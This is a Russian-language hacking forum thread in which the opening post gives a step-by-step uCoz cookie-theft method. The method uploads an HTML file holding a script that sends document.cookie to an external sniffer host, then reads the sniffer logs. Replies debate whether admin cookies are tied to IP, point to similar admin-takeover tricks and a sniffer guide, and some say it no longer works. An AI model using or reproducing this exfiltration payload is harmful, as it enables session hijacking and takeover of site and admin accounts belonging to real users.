А вот и долгожданный Ucoz

[Dr..VATSON]

Всем привет! толькочто нашёл уязвимость в Ucoz, пишусь впервый раз))

Тырим куки в Ucoz

1) создаём фйлик html вписываем код который тырит куки

<script>img = new Image(); img.src = "http://sniffer.ru/images/1.gif?"+document.cookie;</script>

2) Загружаем наш html файлик через "Обзор"

Смотрим скрин (http://www.onlinedisk.ru/view/381778)

4) Должно получиться примерно так когда файлик загружен

Смотрим скрин (http://www.onlinedisk.ru/view/381779)

5) Смотрим логи на сниффере (у меня свой сниффер)

Смотрим скрин (http://www.onlinedisk.ru/view/381793)

Ну вот и всё...

[general.fox]

На UcoZе куки Админов привязаны к IP.

[general.fox]

Хотя может я ошибаюсь...

[Koder45ru]

Хех где то похожее читал ток там через чат можно админку на укозе утащить..
а так в целом прикольно за мутил респект..

[Rejiser]

Хех где то похожее читал ток там через чат можно админку на укозе утащить..

не подскажешь где читал?)

[sparrow3000]

Хех где то похожее читал ток там через чат можно админку на укозе утащить..
а так в целом прикольно за мутил респект..
если про бесцветный смайлик со скриптом то это не пашет уже :D

[[Feldmarschall]]

не новый способ.. подробнее кто хочет _http://hacker-pro.net/sniffer/ там и видео есть вроде

[NeoX]

еще актуально?

[niva622]

еще актуально, но на некоторых сайтах запрещено добавлять html файлы..

[<Maxwell>]

Куки Админов привязаны к айпи. Хотя должно прокатить всеравно.

[shell_c0de]

уже не катит этот вариант ....имхо